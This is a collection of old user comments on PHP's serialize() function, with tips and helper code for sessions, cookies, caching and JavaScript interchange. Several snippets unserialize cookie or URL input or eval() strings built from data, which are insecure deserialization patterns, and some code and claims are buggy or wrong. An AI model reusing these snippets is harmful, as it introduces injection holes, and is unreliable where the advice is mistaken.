If you are serializing an object with private variables, beware. The serialize() function returns a string with null (\x00) characters embedded within it, which you have to escape. Not great if you're trying to save objects into a DB...
16-Jan-2006 11:47
I use PHP 4.3.10 and I found out that if you use a class "MyClass", the constructor of the class must be called "__construct()" and NOT "MyClass()" like in Java or other languages.

If you use the "MyClass()" constructor, the following won't work :
   $_SESSION['obj_my_class'] = new MyClass();
If you don't believe me, you can have a look in the directory "session.save_path" (default /var/lib/php4) where is stored the session's file. You will see this :
   obj_my_class|N;
and not your complete class!

It took me almost one day to understand what was happening... :-(
varrah NO_GARBAGE_OR_SPAM AT mail DOT ru
13-Jan-2006 05:21
Worked with Andrea, so the script is now updated to support at least UTF-8 correctly. Details can be found at http://www.sitepoint.com/blogs/2004/04/22/ serializing-php-data-structures-for-javascript (had to insert space after the 22/  otherwise the link was too long and comments engine didn't want to pass it :-) )
varrah NO_GARBAGE_OR_SPAM AT mail DOT ru
10-Jan-2006 09:52
andrea at 3site dot it gave a link for a JavaScript serialization class, but be prepared! This class works only on single-byte symbols, since JS str.length property gives the length of the string in SYMBOLS, not bytes (as PHP serialize() does), so a Unicode string JS-serialized in a way like:

strSerialized = "s:" + strOriginal.length + ":" + strOriginal;

will not be unserialized correctly by PHP.
MC_Gurk at gmx dot net
03-Jan-2006 11:44
If you are going to serialie an object which contains references to other objects you want to serialize some time later, these references will be lost when the object is unserialized.
The references can only be kept if all of your objects are serialized at once.
That means:

$a = new ClassA();
$b = new ClassB($a); //$b containes a reference to $a;

$s1=serialize($a);
$s2=serialize($b);

$a=unserialize($s1);
$b=unserialize($s2);

now b references to an object of ClassA which is not $a. $a is another object of Class A.

use this:
$buf[0]=$a;
$buf[1]=$b;
$s=serialize($buf);
$buf=unserialize($s);
$a=$buf[0];
$b=$buf[1];

all references are intact.
Alexander Podgorny
03-Dec-2005 03:47
Here is an example of a base class to implement object persistence using serialize and unserialize:

<?
class Persistent
{
   var $filename;

   /**********************/
   function Persistent($filename)
   {
       $this->filename = $filename;
       if(!file_exists($this->filename)) $this->save();
   }
   /**********************/
   function save()
   {
       if($f = @fopen($this->filename,"w"))
       {
           if(@fwrite($f,serialize(get_object_vars($this))))
           {
               @fclose($f);
           }
           else die("Could not write to file ".$this->filename." at Persistant::save");
       }
       else die("Could not open file ".$this->filename." for writing, at Persistant::save");

   }
   /**********************/
   function open()
   {
       $vars = unserialize(file_get_contents($this->filename));
       foreach($vars as $key=>$val)
       {
           eval("$"."this->$key = $"."vars['"."$key'];");
       }
   }
   /**********************/
}

?>

When an object is extended from this one it can be easily saved and re-opened using it's own methods as follows:

<?

class foo extends Persistent
{
   var $counter;
   function inc()
   {
       $this->counter++;
   }
}

$fooObj = new $foo;
$foo->open();
print $foo->counter; // displays incrementing integer as page reloads
$foo->inc();
$foo->save();

?>
andrea at 3site dot it
27-Nov-2005 01:31
Hello!
Here you can find a JavaScript Object that should serialize JS vars for PHP and unserialize PHP vars for JavaScript.
http://www.devpro.it/javascript_id_102.html

Please read notes inside the code to know more about vars compatibility.

It was created to resolve AJAX interaction and maybe usefull for other situations .... such:

<?php
// example nested array
$myarray = array(
   true,
   123,
   array(
       'nested',
       array(
           1,
           'test'=>false
       )
   ),
   'other'=>'value'
);
// array serializzation
$serialized = serialize($myarray);
?>
<script type="text/javascript" src="PHP_Serializer.js"></script>
<script type="text/javascript">
// function to dump an object
function showObject(obj, level) {
   var l = '';
   var tmp = '';
   for(var a = 0; a < level; a++)
       l += '[_]';
   for(var a in obj) {
       var type = typeof(obj[a]);
       if(type == 'object')
           tmp += showObject(obj[a], (level + 1));
       else
           tmp += l + ' key: ' + a + ' = value: ' +
           obj[a] + ' < ' + type + '\n';
   }
   return tmp;
}
// new PHP_Serializer variable
var php = new PHP_Serializer();
// dinamyc JS var creation
var myJSvar = php.unserialize("<?php echo str_replace('"', '\\"', $serialized); ?>");
// look at dump :-)
alert(showObject(myJSvar, 0));
</script>

Regards
pavic at ieee dot org
02-Nov-2005 03:18
Hi, if You get code like
d:234 and than string You wanted, it's the problem, that
s dot marechal at jejik dot com
explanied.

Well, here is a workaround for that problem, function safe serialize, which won't produce that unwanted chars...

function safe_serialize($string) {
   return preg_replace("/(\n)|(\r)/"," ",$string);
}
stephen dot adamson at smius dot com
02-Nov-2005 01:40
If you are serializing an object to store it in the database, using __sleep() can save you some space. The following code will not store empty (null) variables in the serialized string. For my purposes this saved a lot of space, since some of the member variables would not be given values.

function __sleep()
{
   $allVars = get_object_vars($this);
   $toReturn = array();
   foreach(array_keys($allVars) as $name)
   {
       if (isset($this->$name))
       {
           $toReturn[] = $name;
       }
   }
   return $toReturn;
}
php barryhunter co uk
29-Oct-2005 07:51
if you wanting to do something similar to 'mwwaygoo AT hotmail DOT com', then you may want to look at the built in function var_export.

"var_export() gets structured information about the given variable. It is similar to var_dump()  with one exception: the returned representation is valid PHP code."
Sean at http://seanj dot jcink dot com
12-Oct-2005 05:07
Very short function I made to turn arrays into a string for fwriting, doesnt create unnecessary commas either:

<?
function arraytostring($array){
$text.="array(";
$count=count($array);
foreach ($array as $key=>$value){
$x++;
if (is_array($value)) {$text.=$key."=>".arraytostring($value); continue;}
$text.="\"$key\"=>\"$value\"";
if ($count!=$x) $text.=",";
}
$text.=")";
return $text;
}
?>
eggyknap at gmail dot com
11-Oct-2005 12:01
My thanks to the editor who pointed out the serialization bug. According to the bug report, this should be fixed in version 5.0.4, and is confirmed fixed in v 5.0.5. Unfortunately I'm not in a position to update my installation, but I found that passing the serialized string through addslashes before saving it to the database does the trick. It may be a bit inefficient, but it works.
eggyknap at gmail dot com
09-Oct-2005 12:12
[Editor's note: This has been fixed. Protected and private members were serialized with a leading \0 (zero byte). Bug report here, http://bugs.php.net/29865 - aidan@php.net]

Be careful trying to serialize objects containing private or protected data members. It appears that the serialization process includes characters in the result string to indicate the visibility of each member, but the characters used to denote protected or private data are outside the normal character set and can cause problems as you pass them through applications. I haven't found the culprit in my particular case, so I can't say that this is a bug in PHP, but it certainly is causing me some annoyance in my particular situation.
mwwaygoo AT hotmail DOT com
18-Jul-2005 11:03
Hello people,

I had major problems getting serialize to work properly, as I wanted to sync two databases via email, and needed a way of converting a retrieved row to a string. It works the reverse of array(), in that it creates a statement that you can use to evaluate to the original array, so I called it unarray().
Its a recursive function (self calling), so it doesnt matter how complex the array is.

<?php

$source=array(1,4,'x'=>'test');
$text=unarray($source);

$destination=array(); // prime the variable incase of failure.
eval('$destination='.$text);
print_r($destination);

// unarray.php    REVERSE of array();

function unarray($array, $first=TRUE)
{
   $text="";
   if(is_array($array))
   {
       $text.="array(";
       while(list($key,$value)=each($array))
       {
           if(is_string($key))
           {
               $text.="'".$key."'";
           }
           else
           {
               $text.=$key;
           }
           $text.="=>";
           $text.=unarray($array[$key], FALSE);
       }
       $text=$text."), ";
   }
   else
   {
       if(is_string($array))
       {
           $text.="'".addslashes($array)."', ";
       }
       else
       {
           if(is_bool($array))
           {
               if($array)
               {
                   $text.="TRUE, ";
               }
               else
               {
                   $text.="FALSE, ";
               }
           }
           else
           {
               if(is_null($array))
               {
                   $text.="NULL, ";
               }
               else
               {
                   $text.=$array.", ";
               }
           }
       }
   }
   if($first) $text=substr($text,0,-2).";";
   return $text;
}

?>

p.s. I realise that it also creates unnecessary commas, but these are ignored when re-creating it. array(1,2,) is the same as array(1,2).
abductee _at_ texture _minus_ editor.com
14-Jun-2005 07:44
wiart at yahoo dot com wrote:
>As you can see, the original array :
>$arr["20041001103319"] = "test"
>
>after serialize/unserialize is:
>$arr[683700183] = "test"

yepp, and i can explain it.

the internal compiler of php does not hit anys rule wich foces him to make that number a string during serialisation. since it becomes an integer and php supports 32bit interger not arbitary bitwidth this is what happens:

"20041001103319"
equals hexadecimal:

0x123A28C06FD7h

if you cut away the frontpart cutting down to 32bis,
you get:

0x28C06FD7h

wich equals 683700183.

of, for those of you who speak binary:

20041001103319 =
100100011101000101000110000000110111111010111bin

----cut-away----00101000110000000110111111010111bin
=683700183

so, what can you do to prevent stuff like this?
eihter use only numbers between 0..9999999999
or force strings, best way ist to add a character
like

foo["c2342303"]

cheers, abductee
s dot marechal at jejik dot com
04-Feb-2005 08:42
In response to gafunchal NOSPAN at inf dot ufrgs dot br:

What you are seeing is not a bug in PHP's serialize() function, but a side-effect of the floating point type. Floats are inherintly inaccurate and you are seeing it's inaccuracy.

More information about IEEE floats:
http://www.math.byu.edu/~schow/work/IEEEFloatingPoint.htm
http://www.codeguru.com/forum/printthread.php?t=323835
gafunchal NOSPAN at inf dot ufrgs dot br
23-Jan-2005 08:33
(please, excuse my poor English)

'serialize' does strange things with floats, this code:

  $a = 3.14;
  $s = serialize($a);
  $fp = fopen("storage", "w");
  fwrite($fp, $s);
  fclose($fp);

outputs something like (PHP 5.0.2):

d:3.140000000000000124344978758017532527446746826171875;

I wonder why serialize doesn't store data (not only float, I mean all types of data) in a more 'economic' format. Maybe binary is not the best option (there can be trouble storing it in databases), but there are still a lot of other possibilities.
cjmeyer at npcc dot net
24-Dec-2004 03:16
More on troubles with recursive object references and serialization.

In my PHP 4.2.2 the solution suggested above (by james at gogo dot co dot nz), to pass a reference to the object to serialize(), does not help.  There are still multiple copies of the objects woken up, and the recursive reference is no longer recursive.

The only solution I have found is to use the __sleep and __wakeup magic functions to only serialize the link one-way, then recreate it manually on unserialize.  This isn't too difficult;  here is some code demonstrating this approach:

class A {
  var $data = Null;
  var $b = Null;

  function A($data, $bData) {
   $this->data = $data;
   $this->b = new B(&$this, $bData);
  }

  function printData() {
   print 'A thinks A data is ' . $this->data . "\n";
   print 'A thinks B data is ' . $this->b->data . "\n";
  }

  function __sleep() {
   print "A is going to sleep.\n";
   return array('data', 'b');
  }

  function __wakeup(){
   print "A is waking up.\n";
   $this->b->reLinkA($this);
  }

}

class B {
  var $data = Null;
  var $a = Null;

  function B(&$a, $data) {
   $this->a =& $a;
   $this->data = $data;
  }

  function printData() {
   print 'B thinks A data is ' . $this->a->data . "\n";
   print 'B thinks B data is ' . $this->data . "\n";
  }

  function __sleep() {
   print "B is going to sleep.\n";
   return array('data');
  }

  function __wakeup(){
   print "B is waking up.\n";
  }

  function reLinkA(&$a) {
   $this->a =& $a;
  }

}

$a = new A("origAdata", "origBdata");

print '<pre>';

print "I think A data is " . $a->data . "\n";
print "I think B data is " . $a->b->data . "\n";
$a->printData();
$a->b->printData();

$serA = serialize($a);
$newA = unserialize($serA);

$newA->data = 'newAdata';
$newA->b->data = 'newBdata';

print "I think new A data is " . $newA->data . "\n";
print "I think new B data is " . $newA->b->data . "\n";
$newA->printData();
$newA->b->printData();
wiart at yahoo dot com
16-Dec-2004 07:40
Warning: on 64 bits machines,  if you use a long string only composed of numbers as a key in an array and serialize/unserialize it, you can run into problems:

an example code:
$arr["20041001103319"] = 'test';
var_dump( $arr);
$arr_in_str = serialize($arr);
print "Now result is: $arr_in_str<BR />";
$final_arr = unserialize($arr_in_str);
print "The final unserialized array:<BR />";
var_dump($final_arr);

The result:
array(1) { [20041001103319]=>  string(4) "test" }
Now result is: a:1:{i:20041001103319;s:4:"test";}
The final unserialized array:
array(1) { [683700183]=> string(4) "test" }

As you can see, the original array :
$arr["20041001103319"] = "test"

after serialize/unserialize is:
$arr[683700183] = "test"

As you can see,  the key has changed ...

Apparently a problem of implicit casting + integer overflow (I posted a PHP bug report: http://bugs.php.net/bug.php?id=31117)

I tested with the latest 4.3.10 compiled on my laptop (32 bits, Mandrake 9.1) --> no such problem. But compiled on AMD 64 bits (Red Hat Taroon), the problem is present.

Hope this will help some of you to not loose almost a whole day of debugging ;-)
richard dot prangnell at ntlworld dot com
13-Dec-2004 06:08
Although the serialise function has its proper uses, it is a relatively slow process. I try to avoid using it wherever possible in the interests of performance. You can store text records in a database as plain text even when it contains PHP variables. The variable values are lost, naturally; but if they can easily be re-attached to retrieved records, zillions of clock cycles can be saved simply by using the str_replace() function:

  if($convert)
  {
   $mainContent = str_replace('$fixPath', $fixPath, $mainContent);
   $mainContent = str_replace('$theme', $theme, $mainContent);
  }

The above snippet is used in a CMS project. $fixPath contains  something like '.' or '..' to prepend relative paths (allowing the record to be used by scripts located in different parts of the directory hierarchy) and $theme inserts the name of the users custom page rendering scheme, which obviously would be undefined at record storage time anyway.
corey at eyewantmedia dot com
09-Dec-2004 02:47
If this helps anybody, I was looking for a few quick calls to cache stuff to files. I settled on the below functions. By the way, if I am doing something stupid here, I'd appreciate some comments on that also. Anyway, on with the code:

First, the usage:

//Use:

$var = tuncache('MyCacheName');
if (is_null($var)) {
   $var = 'a really expensive process';
   $check = tcache('MyCacheName', $var, '+25 minutes');
   if (is_null($check)) {
       die('I need to reset my permissions or get a bigger hard drive');
   }
}

//use $var now

Now, the functions:

//uses strtotime to decide how long to cache $cacheVar based on $lifespan
//so anything but a timestamp works. +1 day works, 09/14/2010 works, etc
function tcache($cacheName, $cacheVar, $lifespan=null) {
   if (!is_null($lifespan)) { //a lifespan was provided
       if (strpos($lifespan, '+') === 0 || strpos($lifespan, '-') === 0) {
           //Have to do this to counter for bug in php5 to
           //properly evaluate now to do the date math
           $endTime = strtotime(date('m/d/Y H:i:s') . ' ' .$lifespan);
       } else {
           //we can safely use anything else I think
           $endTime = strtotime($lifespan);
       }
   } else {
       //cache forever (forever being ten years) until manually deleted
       $endTime = strtotime(date('m/d/Y H:i:s') . ' +10 years');
   }

   $cVal = serialize($cacheVar);
   $file = tFindcache($cacheName);
   $result = true;

   $f = fopen($file, 'w');
   if ($f === false) {
       $result = null; //barf if we can't open the file
   } else { //write the cache
       fwrite($f, $endTime . "\n");
       fwrite($f, $cVal);
       fclose($f);
   }

   return $result;
}

function tuncache($cacheName) {
   $file = tFindCache($cacheName);

   if (is_readable($file)) {
       //open file
       $f = fopen($file, 'r');
       $time = time();
       $expTime = trim(fgets($f));
       //check time
       if ($time > $expTime) {
           //It expired
           $result = null;
       } else {
           //Read it and unserialize it
           $data = fread($f, filesize($file));
           $result = unserialize($data);
       }
   } else {
       //barf
       $result = null;
   }

   return $result;
}

//just to set a few options for setting where to save stuff
function tFindCache($cacheName) {
   if (isset($_ENV['PHP_CACHE_PATH'])) {
       $cachePath = $_ENV['PHP_CACHE_PATH'];
   } else if (isset($_SERVER['PHP_CACHE_PATH'])) {
       $cachePath = $_SERVER['PHP_CACHE_PATH'];
   } else {
       $cachePath = './'; //Potential danger here
   }

   $cachePath .= 'PHP_CACHE_' . $cacheName . '.cache';

   return $cachePath;
}
01-Dec-2004 05:30
This is just a modification of what Alan Reddan (areddan at silverarm dot ie) posted below.

I figured it would be faster than walking an array, and it works wonderfully with cookies

<?php
$data[qwerty] = "blah";
$data[1][a] = "1aa";
$data[2][b] = "2bb";
$data[3][c] = ";;;;;;";
$data[name][first] = "Bob";
$data[name][last] = "Jones";
$data[val] = "This is a real long test string, to see how well the compression works!";

//To Serialise Call :
$string = gzcompress(serialize($data), 9);
setcookie("my_var", $string, time()+60*60*24*60, '/');
//print "String: $string\n<br>"; //uncomment to see serialized array

//To Unserialize Call
if (isset($_COOKIE[my_var])) {
  $array = unserialize(gzuncompress($_COOKIE[my_var]));

  echo "<pre>";
  print_r($array);
  echo "</pre>";
}
?>

you can replace gzcompress with base64_encode and gzuncompress with base64_decode to have a similar experience

Alan, thanks for the tip though, it got me where I wanted to be!
paul at moveNOtoSPAMiceland DOT com
19-Nov-2004 12:29
I was trying to submit a serialized array through a hidden form field using POST and was having a lot of trouble with the quotes. I couldn't figure out a way to escape the quotes in the string so that they'd show up right inside the form, so only the characters up to the first set of quotes were being sent.

My solution was to base64_encode() the string, put that in the hidden form field, and send that through the POST method. Then I decoded it (using base64_decode()) on the other end. This seemed to solve the problem.
Alexei dot Filine at cern dot ch
24-Oct-2004 10:57
A simple way to transfer PHP variables between PHP scripts running on different hosts can be done with HTTP_Request PEAR module. I think it is much more fast way than one done with XML-RPC but less portable (there were described ways to exchange vars between Perl and PHP below). Recieved PHP obects are required to be created before recieving by class definition similar to definition used on sending side. A script sending variable must output nothing except data sent by function 'sendVariable' so a 'composite variable' is to be used to transfer some variables by one request.

<?php
// exchange-protocol.php
ini_set( 'include_path', '.' );
require_once "config.php"; // set $PEAR_path
ini_set( 'include_path', ini_get( 'include_path' ).$PEAR_path );

// PEAR module
require_once "HTTP/Request.php";

// magic words for HTTP header
$gzcompressed_serialized_type = 'application/serialized_gzcompressed_PHP_variable';
$serialized_type = 'application/serialized_PHP_variable';

$compression_flag_name = '_compressionFlag_';

// Date in the past
header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" );

// always modified
header( "Last-Modified: ".gmdate( "D, d M Y H:i:s" )." GMT" );

// returns non-zero on success
function recieveVariable( $url,
             &$var,
             $user = '',
             $passw = '',
                 $compression_flag = 1 ) {

   global $gzcompressed_serialized_type;
   global $serialized_type;
   $req =& new HTTP_Request( "" );
     $req->setURL( $url );
     $req->setMethod( HTTP_REQUEST_METHOD_POST );

     // set user/password if required
   if ( $user && $passw ) {
         $req->addPostData( $user,
                             $passw );
   }
     $response = $req->sendRequest();
     $req->clearPostData();
   if ( $compression_flag ) {
       $req->addPostData( $compression_flag_name, 1 );
   }
     if ( PEAR::isError( $response ) ) {
           echo $response->getMessage();
     } else {
           $header = $req->getResponseHeader();
           if ( $req->getResponseCode() != 200 ||
                 ! ( $header['content-type'] == $gzcompressed_serialized_type ||
                   $header['content-type'] == $serialized_type ) ) {
                   // type error message
                   echo $req->getResponseBody();
           } else {
                   if ( $header['content-type'] == $gzcompressed_serialized_type )
{
                           $data = gzuncompress( $req->getResponseBody() );
                   } else {
                           $data = $req->getResponseBody();
                   }
                   $var = unserialize( $data );
           return 1;
           }
   }
   return 0;
}

// just for extra flexibility, if data chunk is small enough we can skip gzipping on the sending side: $compression_flag = 0;
// in other case we use client preference: $compression_flag = $_REQUEST[$compression_flag_name];
function sendVariable( &$var, $compression_flag = 1 ) {

   global $gzcompressed_serialized_type;
   global $serialized_type;
   // Date in the past
   header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" );

   // always modified
   header( "Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");

   if ( $compression_flag ) {
       // set specialised content type to inform about data type
       header( 'content-type: '.$gzcompressed_serialized_type );
       echo gzcompress( serialize( $var ) );
   } else {
       // set specialised content type to inform about data type
       header( 'content-type: '.$serialized_type );
       echo serialize( $var );
   }
}
?>

on client side:
<?php
...
require_once "exchange-protocol.php";
...
if (recieveVariable( $url, $var) ) {
   // success...
} else {
   // there was something wrong...
}
?>

on the server side:
<?php
...
require_once "exchange-protocol.php";
...
// there must not be output before the function is called!!! execution is to 'die' if an error occures.
sendVariable( $var, $compression_flag )
?>
areddan at silverarm dot ie
23-Oct-2004 04:56
<?php
/*
This is an array_walk style serialize that works with multi dimensional arrays, it also base64 encodes and decodes to allow ';' to exist in the array.
 -- Alan Reddan
*/
$data[qwerty] = "blah";
$data[1][a] = "1aa";
$data[2][b] = "2bb";
$data[3][c] = ";;;;;;";

//To Serialise Call :

array_walk($data,'base64_encoder_multi');
$serialized_string = serialize($data);
//print $serialized_string . '\n'; //uncomment to see serialized array

//To Unserialize Call

$array = unserialize($serialized_string);
array_walk($array,'base64_cleaner_multi');

print_r($array);
//start functions
function base64_encoder_multi(&$val,$key) {
   if (is_array($val)) array_walk($val,'base64_encoder_multi',$new);
   else {
     $val = base64_encode($val);
   }
}

function base64_cleaner_multi(&$val,$key) {
   if (is_array($val)) array_walk($val,'base64_cleaner_multi',$new);
   else {
     $val = base64_decode($val);
   }
}
//ends

?>
brooklynphil hotmail com
07-Oct-2004 04:07
In my experience of the (far and few in between) times when it is necessary to store large (megabytes) amounts of data in a php-readable ascii file format, using var_export() and require() is much faster serialize() and unserialize(file_get_contents()) (I have tested it on classes encapsulating arrays, i.e. <?php class blah { $a = array(megsofstuffhere); $b = array(megsofstuffhere); $c=... }; $data = new blah ?>)  (var_export is also more readable and notepadable than serialize!)

However, since var_export produces only the rvalue (or uninstantiation), of the data needed, dont forget to cosmetically modify output of var_export( , true): in case of classes, you will need to use "$var = new classname" (and rename a possible stdClass) and in case of arrays, etc, just use "$var = ".var_export().  The file being var_export()ed to and require()ed must also be encapculated in "<?php ?>" when written to (or else its just dumped to browser/stdout as a textfile).

Hope this helps :)

--Phil

P.S. (in cases of small amounts of data, serialize is better, especially for cross-URL data transport using <?php base64_encode(gzdeflate(serialize()))?>)
jan at bestbytes dot de
05-Oct-2004 04:58
This should be EXTREMELY helpful when you are getting lost in php 4 circular references and sessions or serializing ...

<?php

// this example is for php 4

class Node {
  var $value;
  var $child;
  var $parent;
  var $load;
  var $__destroyed = false;
  function Node($value)
  {
   $this->value = $value;
   global $load;
   $this->load = $load;
  }
  function setParent(&$parent)
  {
   $this->parent = &$parent;
  }
  function setChild(&$child)
  {
   $this->child = &$child;
  }
  /**
  * @return void
  * @desc fake __destroy from a php 4 point of view
  */
  function __destroy()
  {
   $props = get_object_vars($this);
   foreach($props as $propName => $propValue) {
     unset($propValue);
     if(is_object($this->$propName)) {
       if(method_exists($this->$propName, '__destroy') AND $this->$propName->__destroyed !== false) {
         $this->$propName->__destroy();
       }
     }
     if(isset($this->$propName)) {
       unset($this->$propName);
     }
   }
  }
}
header('Content-type: text/plain');

// small load to check the serialized string
$loadSize = 4;

// big load to check leaking
//$loadSize = 32 * 1024;

$load    = str_repeat('.', $loadSize);

for($i = 0;$i<10;$i++) {
  echo '-------------------- '.(memory_get_usage()/1024).' -------------------------'.chr(10);

  $serMe = array();
  $serMe['parent'] =& new Node('parent');
  $serMe['child']  =& new Node('child');

  /*
   * this will work too !!
   *  $serMe['parent'] = new Node('parent');
   *  $serMe['child']  = new Node('child');
   */

  $serMe['parent']->setChild($serMe['child']);
  $serMe['child']->setParent($serMe['parent']);

  $str = serialize($serMe);

  /*
   * 1.Problem:
   *
   * You have 2 or more objects with circular references to one another.
   * Serializing these objects will result in unexpected behaviour when
   * unserializing them:
   *
   * Former references will become copies.
   *
   * This is because the php serialize handler can not handle references,
   * unless all involved objects, variables ... are within an array(),
   * that will be serialized.
   *
   * This should be selfexplaining (just take a look at the length ...):
   * echo serialize($serMe['parent']);
   * echo serialize($serMe);
   *
   * results in:
   *
   * O:4:"node":5:{s:5:"value";s:6:"parent";s:5:"child";O:4:"node
   * ":5:{s:5:"value";s:5:"child";s:5:"child";N;s:6:"parent";O:4:
   * "node":5:{s:5:"value";s:6:"parent";s:5:"child";R:3;s:6:"pare
   * nt";N;s:4:"load";s:4:"....";s:11:"__destroyed";b:0;}s:4:"loa
   * d";s:4:"....";s:11:"__destroyed";b:0;}s:6:"parent";N;s:4:"lo
   * ad";s:4:"....";s:11:"__destroyed";b:0;}
   *
   * a:2:{s:6:"parent";O:4:"node":5:{s:5:"value";s:6:"parent";s:5
   * :"child";O:4:"node":5:{s:5:"value";s:5:"child";s:5:"child";N
   * ;s:6:"parent";R:2;s:4:"load";s:4:"....";s:11:"__destroyed";b
   * :0;}s:6:"parent";N;s:4:"load";s:4:"....";s:11:"__destroyed";
   * b:0;}s:5:"child";R:4;}
   *
   * PLEASE GIVE THE WORLD PROPER DOCUMENTATION ON THIS (or prove us wrong)
   *
   * 2.Problem:
   *
   * The loop below will result in extensive leaking (use the big $loadsize ...),
   * unless you help yourself and unset all the properties manually
   * see Node::__destroy()
   *
   */

  $serMe['parent']->__destroy();
  $serMe['child']->__destroy();
  $serMe = unserialize($str);
  unset($str);
  $serMe['parent']->value = 'new parent';
  echo '-->'.$serMe['parent']->child->parent->value.chr(10);
  echo '-->'.$serMe['parent']->value.chr(10);

  $serMe['parent']->__destroy();
  $serMe['child']->__destroy();
  unset($serMe);
}

?>
mary at nospam dot com
20-Sep-2004 04:57
If you use serialize() to easily convert an array to a sort of string which you can add to a URL, pay attention to the length of the serialized array.
A URL has a limit when it comes to passing variables and values and it cuts off whatever is over limit. If your serialized array is too long, it will be cut off and you will end up with strange results on your other pages.
jasbarne NOSPAM indiana SPAMSUCKS edu
23-Aug-2004 04:01
ignatiev at users dot sourceforge dot net and others using __sleep():

If you decide to add this functionality (for whatever reason) you can serialize a modified copy of the object instead of the original object.  There's added overhead of copying, but doing this allows you to continue using the original object after you've serialize it.
goetas at lignano dot it - GoetAs
12-Aug-2004 01:41
the serialize dont function properly when a variable contain a ;
I wrote these two functions that resolve this problem:
this function work only with arrays:
<?php

function base64_unserialize($str){
   $ary = unserialize($str);
   if (is_array($ary)){
       foreach ($ary as $k => $v){
           if (is_array(unserialize($v))){
               $ritorno[$k]=base64_unserialize($v);
           }else{
               $ritorno[$k]=base64_decode($v);
           }
       }
   }else{
       return false;
   }
   return $ritorno;
}
function base64_serialize($ary){
   if (is_array($ary)){
       foreach ($ary as $k => $v){
           if (is_array($v)){
               $ritorno[$k]=base64_serialize($v);
           }else{
               $ritorno[$k]=base64_encode($v);
           }
       }
   }else{
       return false;
   }
   return serialize ($ritorno);
}
?>
Andrew dot Morrison at stanford dot edu
30-Jun-2004 06:02
Correction to my last note:

__sleep should return an array only containing the names of instance-variables to serialize.

A simple (if not a little wasteful) hack to serialize all but a few class vars is to use get_class_vars as follows:

<?php

class strawman
{
  var $good_var;
  var $lame_var;

  function __sleep()
  {
   print "Function __sleep() called\n";

   $vars = get_class_vars('strawman');
   unset($vars['lame_var']);
   return array_keys($vars);
  }

  function __wakeup()
  {
   print "Function __wakeup() called\n";
  }

  function strawman() { }
}

session_start();

if(session_is_registered('strawman'))
{
  print("session data:\n");
  print_r($_SESSION['strawman']);
  session_destroy();
}

else
{
  $strawman =& new strawman();
  session_register('strawman');
  print("new session data:\n");
  print_r($_SESSION['strawman']);
}

?>
dr dot slump at cyteknt dot com
28-Apr-2004 12:15
regarding PHP to JS serialization I did some time ago a function which works using "eval" as Harry points out.

<?php
//helper function, returns true if the array is associative
function is_assoc_array( $var ) {
   //false if not an array or empty
   if ( (!is_array($var)) || (!count($var)) ) return false;

   foreach($var as $k=>$v)
       if (! is_int($k)) return true;

   return false;
}
?>

Serialize function which generates JavaScript's eval's compatible code.

Usage (JavaScript) :
var myVar = eval('<?php js_serialize($phpvar); ?>');

Notes:
Objects and associative arrays are encoded as JS Objects
Doesn't serialize object methods
Serializes 'resource' types as nulls
Assoc. Arrays containing integer keys, those keys are prefixed with 'idx_'

<?php
function js_serialize($var, $recursed = false) {
   if (is_null($var) || is_resource($var)) return 'null';

   $js = '';

   //object or assoc. array
   if (is_object($var) || is_assoc_array($var)) {
       //typecast to array in the case it could be an object
       $props = (array)$var;

       foreach($props as $k=>$v) {
           //index values are preffixed with 'idx_'
           if (is_int($k)) $k = "idx_$k";
           $js .= $k.':'.js_serialize($v, true).',';
       }
       if (count($props))
             $js = substr($js, 0, strlen($js)-1);

         $js = '{'.$js.'}';
         if (! $recursed) $js = "($js)";

   } elseif (is_array($var)) {
       foreach($var as $v)
           $js .= js_serialize($v, true).",";
       if (count($var))
           $js = substr($js, 0, strlen($js)-1);
       $js = "[$js]";

   } elseif (is_string($var)) {
       //escape the string
       $var = str_replace( array('"', "\n", "\r"), array('\\"', '\\n'), $var );
       $js = $recursed ? "\"$var\"" : "(new String(\"$var\"))";

   } elseif (is_bool($var)) {

       $var = ($var)?'true':'false';

       $js = $recursed ? $var : "(new Boolean($var))";

   } else { //should be an int or a float in theory

       $js = $recursed ? $var : "(new Number($var))";
   }

   return $js;
}
?>
hfuecks at phppatterns dot com
22-Apr-2004 11:20
Regarding serializing PHP data types to Javascript, following Ivans note below, theres an example at http://www.tekool.net/php/js_serializer/.

The basic serialization looks good although, in its current form, it works on the basis of generating Javascript source which a browser executes as a page loads. Using Javascripts eval() the same can be done with strings containing Javascript if youre working with something like XMLHTTPRequest
Antonie
21-Apr-2004 01:12
Passing of multiple select (single dimensional or even multidimensional) arrays is even harder, even using serialize.
Jouhni [jouhni at web dot de]
08-Feb-2004 09:48
In order to save serialized values in cookies you have to pay attention to the following:
A serialized array looks like this:

a:2:{i:0;s:9:"Element 1";i:1;s:9:"Element 2";}

Because quotation marks are saved with a backslash in front of it in cookies it is not possible to unserialize a cookie-saved serialized array. You have to do a stripslashes() before unserializing the cookie.
info at b1g dot de
08-Feb-2004 02:37
If you are using Cache_Lite from pear.php.net and if you are logging in your users using cookies, use this cache-ID for example:

<?php
$cache_id = base64_encode($_SERVER['REQUEST_URI'] . serialize($_COOKIE));
?>

This will create a new page in cache when a user logs in. Anyway he can't login properly. Works fine for me.

Sorry for my broken English.
tino at infeon dot com
25-Nov-2003 06:20
While writing shopping cart applications i needed a way to keep track of many variables beteween page loads.. i was using a cookie for each but this became hard to manage so I cam up with this simple session object. It serializes the object, base 64 encodes it and sets a cookie for it.. vice versa on page load where it detects the cookie

add whatever variables you need to this class

btw if you like it, hate it or have any comments send me an email to let me know

<?php
class session {
   var $cartID;
   var $userID;
   var $userAuth;

   function session () {
       //Attempt to load previous session from user cookie

       //First see if the session was passed through the URL
       //This is useful to pass stuff between different URL
               if ($_GET['session']) {
           $this = unserialize (base64_decode ($_GET['session']));

               //Check for the cookie, if none a blank session is created
               } else {
           if ($_COOKIE['session']) {
               $this = unserialize (base64_decode ($_COOKIE['session']));
           }
       }
   }

   function save () {
       setcookie ('session', base64_encode (serialize ($this)));
   }

   function delete () {
       setcookie ('session');
       unset ($this);
   }

}
?>
ignatiev at users dot sourceforge dot net
24-Oct-2003 09:35
One problem with serialize() is that by default it does NOT alter the object, so nothing prevents you from continuing using you object after serialize()'ing it.

After a while, you or someone else decides to optimize storage of this object and add a __sleep and __wakeup functions; now, serialize()'ing this same class calls __sleep() member function, potentially changing the object - old code unexpectedly breaks.

Possible solutions: in the above scenario old code would most likely still work if __sleep() only creates new object variables, not altering existing ones.  Another option is to always call __wakeup(), if it exists, after each serialize(), or immediately destroy the object if it is no longer used.
